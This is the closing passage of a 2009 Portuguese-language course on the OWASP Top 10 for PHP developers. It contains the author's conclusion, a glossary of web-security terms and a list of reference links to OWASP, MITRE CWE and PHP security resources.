algumas das recomendações.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 47 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20
Conclusão
A proteção contra as vulnerabilidades mais relevantes em aplicações web é um
assunto complexo. Além disso é importante entendermos que, embora o desenvolvedor
desempenhe um papel importante, a questão é também multi-disciplinar, já que envolve
fases de uma aplicação que nem sempre contam com a sua presença.
O que de fato é importante é que o assunto siga sendo divulgado, debatido,
estudado e que soluções sejam criadas, implementadas e disponibilizadas.
Este documento não tem a pretensão de ser umn estudo completo sobre o
assunto, mas promover o seu entendimento e fornecer caminhos para que sua aplicação
torne-se mais segura, robusta e confiável, poupando problemas para você/sua
equipe/seus usuários.
Espero que o objetivo tenha sido atingido, que você tenha tirado um bom proveito
deste curso e que o OWASP e iniciativas similares que são tão importantes nos dias de
hoje se tornem mais conhecidos e divulgados na comunidade de desenvolvimento.
Muito obrigado e sucesso,
Er Galvão Abbott
Porto Alegre, 25 de Março de 2009.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 48 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20
Glossário
Este glossário foi montado para facilitar o entendimento de certos termos/siglas
utilizados neste material. Boa parte deste foi montada tendo como base as definições
presentes na Wikipedia, definitivamente a melhor fonte de informação para este tipo de
coisa.
A
API – Application Programming Interface, ou literalmente “Interface de Programação de
Aplicação”. Uma API é um conjunto de rotinas, estruturas de dados, classes, e/ou
protocolos fornecidos por bibliotecas e/ou Sistemas Operacionais de forma à suportar e
orientar o desenvolvimento de aplicações.
B
backend – Em alguns casos é quase um sinônimo de server-side, mas com a diferença
básica de ser um termo usado para componentes específicos. Por exemplo, um RDBMS é
um backend. Também pode ser usado, em desenvolvimento, para se especificar as
partes de uma aplicação. Por exemplo, se você está desenvolvendo a parte da aplicação
que envolve PHP e um RDBMS você está “desenvolvendo o backend da aplicação”.
black list – Literalmente “lista negra”. Abordagem de se considerar apenas o que é
inválido.
C
canonicalização – Decodificação de uma entrada de dados para uma forma primitiva para
que a aplicação possa trabalhar com o dado.
chroot jail – Uma solução que faz com que a aplicação rodando dentro de um diretório
específico não possa acessar arquivos fora deste diretório.
client-side – O “lado do cliente”, tipicamente representado, no caso das aplicações web,
pelo browser.
D
defacement – Literalmente “deformação”. Consequência de um ataque (levando-se em
conta o contexto deste material) em que o site é deformado com a alteração/inserção das
imagens presentes no mesmo.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 49 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20
DOM – Document Object Model ou Modelo de Objetos do Documento, entre outras coisas
permite o parse de um documento, através da identificação de seus elementos.
DoS – Denial of Service, ou Negação de Serviço. Consequência de um ataque (levando-
se em conta o contexto deste material) em que um serviço é “negado” pelo seu provedor
(software/hardware).
E
eval – Corruptela de evaluate, ou literalmente “avaliar”. Comando que executa a string
informada como se esta fosse código-fonte da própria linguagem.
F
fallback – Ação “alternativa”, executada quando todas as demais falham.
I
input – Entrada de dados.
M
mashup – Aplicação web que combina elementos de outras fontes/aplicações.
O
output – Saída (normalmente, mas não necessariamente a exibição) de dados.
P
phishing – Técnica onde procura-se enganar o usuário forjando um site/aplicação
legítimo.
Q
query – Literalmente “consulta”. Basicamente utiliza-se o termo para qualquer comando
(seja o comando propriamente dito de consulta ou não) enviado para um RDBMS.
query string – Parte da URL responsável por transmitir dados para um script.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 50 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20
R
(R)DBMS – (Relational) Data Bases Managing System ou “Sistema Gerenciador de Bases
de Dados Relacionais”. Sistema que gerencia as bases de dados. Exemplos:
PostgreSQL, Oracle
rootkit – Software malicioso composto de um ou mais programas que tem por objetivo
ocultar p fato de que um sistema foi comprometido.
S
sand box – Ver chroot jail.
server-side – Literalmente o “lado servidor”. É considerado server-side: o interpretador
PHP, o (R)DBMS, etc...
SMB – Server Message Block, ou “Bloco de Mensagens do Servidor”. Protocolo
comumente usado para prover acesso compartilhado para arquivos, dispositivos e portas
seriais.
SO – Sistema Operacional
stored procedures – Pedaços de código (similares à funções) programados e
armazenados (stored) diretamente em um (R)DBMS.
stream – Sucessão contínua, geralmente com início e fim definidos, de dados.
string – Conjunto de caracteres. Utiliza-se para dados do tipo “texto”.
T
token – Identificador, geralmente gerado em tempo de execução, que permite identificar e
validar uma seção ou conjunto de ações realizado em uma aplicação.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 51 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:20
Referências
OWASP – Open Web Application Security Project: http://www.owasp.org/
●
Capitulo Brasileiro: http://www.owasp.org/index.php/Brazilian
○
Top Ten Project:
○
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
PHP Project: http://www.owasp.org/index.php/Category:PHP
○
PHP AntiXSS Library Project:
○
http://www.owasp.org/index.php/Category:OWASP_PHP_AntiXSS_Library_Proj
ect
ESAPI – Enterprise Security API:
○
http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
MITRE Corporation: http://www.mitre.org/
●
CWE – Common Weakness Enumeration: http://cwe.mitre.org/
○
Vulnerability Type Distributions in CVE: http://cwe.mitre.org/documents/vuln-
■
trends/index.html
Diversos:
●
SQL Attacks by Example: http://www.unixwiz.net/techtips/sql-injection.html
○
Wikipedia: http://wikipedia.org/
○
PHP Security Consortium: http://phpsec.org/
○
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 52 / 52